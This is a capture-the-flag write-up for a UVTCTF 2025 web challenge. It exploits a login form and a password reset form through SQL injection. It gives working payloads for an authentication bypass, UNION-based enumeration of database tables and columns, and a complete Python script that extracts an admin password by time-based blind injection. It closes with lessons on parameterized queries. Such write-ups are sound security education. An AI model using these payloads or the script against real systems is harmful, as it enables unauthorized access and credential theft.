Light / Dark
Back to Writeups

error=-330

Web Exploitation UVTCTF 2025 Medium

Tools Used

  • Python
  • Requests
  • Time-based Analysis

Challenge Description

You don't ask for access. You carve it out.

Author: AndraB
Points: 330
Category: Web

Reconnaissance

The challenge presents a web application with a login form. My first step was to examine this login page for potential vulnerabilities.

The login form seemed like a good target to attempt some basic SQL injection. I tried the classic ' or 1=1 -- payload in both username and password fields, which bypassed the authentication successfully. This indicated poor input validation and a likely SQL injection vulnerability.

Login page with SQL injection
Login page with SQL injection vulnerability

After bypassing authentication, I had access to a product search functionality. This seemed like another potential entry point for SQL injection that I could use to extract information from the database.

Database Enumeration

The product search functionality was indeed vulnerable to SQL injection. I used this to systematically enumerate the database structure:

First, I determined the number of columns in the current query by using the UNION SELECT technique:

' UNION SELECT NULL,NULL,NULL,NULL --

This indicated that the query was returning 4 columns. Next, I wanted to discover the table names in the database:

' UNION SELECT NULL, table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=database() --

This query revealed two tables: products and secrets. The secrets table seemed particularly interesting for finding the flag.

To investigate the structure of the secrets table, I queried for its column names:

' UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name='secrets' --

This revealed two columns: id and flag. Now I could directly query for the flag:

' UNION SELECT NULL, flag, NULL, NULL FROM secrets --

This query returned the first part of the flag: UVT{Th3_sy5t3M_7ru5Ts_1tS_oWn_9r4Mmar_..._

First part of the flag
Extracting the first part of the flag

However, the flag appeared to be incomplete. I needed to find the second part somewhere else in the application.

Blind SQL Injection

After examining the application further, I found a "Forgot Password" feature. This led to a password reset form that asked for an email address. Since there were no direct error messages or responses that would reveal SQL injection, I suspected this might require a blind SQL injection technique.

For blind SQL injection, I needed to use time-based techniques to infer information. I crafted a payload that would cause the server to sleep for 5 seconds if a specific condition was true:

' OR (SELECT IF(SUBSTRING(BINARY (SELECT password FROM users WHERE username='admin' LIMIT 1),1,1)='a', SLEEP(5), 0))-- 

If the first character of the admin's password was 'a', the server would sleep for 5 seconds. By iterating through different characters and positions, I could extract the password character by character.

To automate this process, I wrote a Python script using the requests library:

import requests
import string
import time

URL = 'http://challenge.uvtctf.ro:8080/password_reset.php'  
DELAY = 5
THRESHOLD = 4.5
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+-={}[]|:;<>,.?/~`"  
MAX_LENGTH = 40
TARGET_CONDITION = "username='admin'"

extracted = ''

print("[*] Starting Blind SQL Injection...")

for position in range(1, MAX_LENGTH + 1):
    found_char = False
    for char in CHARSET:
        payload = (
            f"' OR (SELECT IF(SUBSTRING(BINARY (SELECT password FROM users WHERE {TARGET_CONDITION} LIMIT 1),"
            f"{position},1)='{char}', SLEEP({DELAY}), 0))-- "
        )

        data = {
            'email': payload
        }

        start_time = time.time()
        try:
            response = requests.post(URL, data=data, timeout=DELAY + 2)
            elapsed = time.time() - start_time
        except requests.exceptions.Timeout:
            elapsed = DELAY + 1

        if elapsed > THRESHOLD:
            extracted += char
            print(f"[+] Found character at position {position}: {char}")
            found_char = True
            break

    if not found_char:
        print(f"[-] No more characters found at position {position}. Ending extraction.")
        break

print(f"\n[*] Extraction complete! Retrieved password: {extracted}")

Running this script gradually extracted the second part of the flag: S0_5tR1ng5_4r3_m0r3_tHaN_qu3r13s_1n_th3_3nd

Solution

By combining the two parts of the flag, I obtained the complete flag:

UVT{Th3_sy5t3M_7ru5Ts_1tS_oWn_9r4Mmar_..._S0_5tR1ng5_4r3_m0r3_tHaN_qu3r13s_1n_th3_3nd}

The challenge was solved using several SQL injection techniques:

  1. Basic authentication bypass using ' or 1=1 --
  2. UNION-based injection to enumerate database structure
  3. Direct data extraction for the first part of the flag
  4. Time-based blind SQL injection to extract the second part of the flag

Lessons Learned

This challenge highlights several important security concepts:

  • The dangers of unsanitized user input in SQL queries
  • How attackers can systematically enumerate and extract sensitive data from databases
  • The importance of proper input validation and parameterized queries
  • How blind SQL injection can be used even when there's no direct output
  • The role of time-based techniques in blind injection scenarios

For developers, this challenge emphasizes the importance of:

  • Using prepared statements or parameterized queries instead of concatenating user input
  • Implementing proper authentication mechanisms
  • Applying the principle of least privilege for database accounts
  • Setting up input validation at multiple levels
  • Using web application firewalls to detect and block SQL injection attempts